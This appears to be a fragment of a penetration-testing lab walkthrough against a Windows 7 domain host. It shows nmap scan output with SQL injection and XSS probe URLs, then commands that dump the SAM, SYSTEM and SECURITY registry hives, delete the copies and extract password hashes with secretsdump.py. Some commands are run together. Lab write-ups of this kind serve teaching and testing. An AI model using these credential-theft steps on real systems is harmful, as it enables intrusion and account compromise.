└─# nmap -sn 192.168.44.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-03 06:06 EST Nmap scan report for 192.168.44.1 Host is up (0.00023s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.44.2 Host is up (0.00018s latency). MAC Address: 00:50:56:E0:12:92 (VMware) Nmap scan report for 192.168.44.141 Host is up (0.00035s latency). MAC Address: 00:0C:29:59:B3:A5 (VMware) Nmap scan report for 192.168.44.254 Host is up (0.00014s latency). MAC Address: 00:50:56:ED:12:ED (VMware) Nmap scan report for 192.168.44.142 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 18.47 seconds
┌──(root㉿kali)-[~] └─# nmap --min-rate 10000 -p- 192.168.44.141 Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-0306:13 EST Nmap scan report for 192.168.44.141 Host is up (0.00092s latency). Not shown:65524 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1027/tcp open IIS 1028/tcp open unknown 1029/tcp open ms-lsa 1057/tcp open startron 3306/tcp open mysql MAC Address:00:0C:29:59:B3:A5 (VMware)
Nmap done:1 IP address (1 host up) scanned in18.93 seconds
┌──(root㉿kali)-[~] └─# nmap -sT -sV -sC -O -p80,135,139,445,1025,1026,1027,1028,1029,1057,3306 192.168.44.141 -Pn Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-0306:16 EST Nmap scan report for 192.168.44.141 Host is up (0.00046s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45) |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 |_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD) 1025/tcp open msrpc Microsoft Windows RPC 1026/tcp open msrpc Microsoft Windows RPC 1027/tcp open msrpc Microsoft Windows RPC 1028/tcp open msrpc Microsoft Windows RPC 1029/tcp open msrpc Microsoft Windows RPC 1057/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql MySQL (unauthorized) MAC Address:00:0C:29:59:B3:A5 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Microsoft Windows 2008|7|Vista|8.1 OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1 OS details: Microsoft Windows Vista SP2 or Windows 7or Windows Server 2008 R2 or Windows 8.1 Network Distance:1 hop Service Info:Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: | smb2-security-mode: | 2:1:0: |_ Message signing enabled but not required | smb2-time: | date:2025-11-03T11:17:18 |_ start_date:2025-11-03T10:07:34 | smb-security-mode: | account_used:<blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_nbstat: NetBIOS name: STU1, NetBIOS user:<unknown>, NetBIOS MAC:00:0c:29:59:b3:a5 (VMware) | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: stu1 | NetBIOS computer name: STU1\x00 | Domain name: god.org | Forest name: god.org | FQDN: stu1.god.org |_ System time:2025-11-03T19:17:18+08:00 |_clock-skew:mean:-2h40m00s, deviation:4h37m07s, median:0s
Starting Nmap 7.95 ( https://nmap.org ) at2025-11-0306:16 EST Nmap scan report for192.168.44.141 Host is up (0.00048s latency).
PORT STATE SERVICE 80/tcp open http | http-sql-injection: | Possible sqli for queries: | http://192.168.44.141:80/l.php?act=Function%27%20OR%20sqlspider | http://192.168.44.141:80/l.php?act=phpinfo%27%20OR%20sqlspider | http://192.168.44.141:80/l.php?act=Function%27%20OR%20sqlspider | http://192.168.44.141:80/l.php?act=phpinfo%27%20OR%20sqlspider | http://192.168.44.141:80/l.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000%27%20OR%20sqlspider | http://192.168.44.141:80/l.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42%27%20OR%20sqlspider | http://192.168.44.141:80/l.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42%27%20OR%20sqlspider | Possible sqli for forms: | Format path: /, form's action: /l.php#bottom. Fields that might be vulnerable: | host | port | login | funName | Format path: /l.php, form's action: /l.php#bottom. Fields that might be vulnerable: | host | port | login |_ funName | http-phpself-xss: | VULNERABLE: | Unsafe use of $_SERVER["PHP_SELF"] in PHP files | State: VULNERABLE (Exploitable) | PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities. | | Extra information: | | Vulnerable files withproof of concept: | http://192.168.44.141/l.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.44.141 | References: | http://php.net/manual/en/reserved.variables.server.php |_ https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-trace: TRACE is enabled |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /phpinfo.php: Possible information file | /phpmyadmin/: phpMyAdmin | /phpMyAdmin/: phpMyAdmin |_ /PHPMyAdmin/: phpMyAdmin |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.44.141 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.44.141:80/ | Form id: | Form action: /l.php#bottom | | Path: http://192.168.44.141:80/l.php | Form id: |_ Form action: /l.php#bottom 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1027/tcp open IIS 1028/tcp open unknown 1029/tcp open ms-lsa 1057/tcp open startron 3306/tcp open mysql MAC Address: 00:0C:29:59:B3:A5 (VMware)
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save getsystem.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save exit
从sam获取hash (这里获得的是本地管理员的hash)
1 2
python3 secretsdump.py -sam sam.save -systemsystem.save -security security.save LOCAL
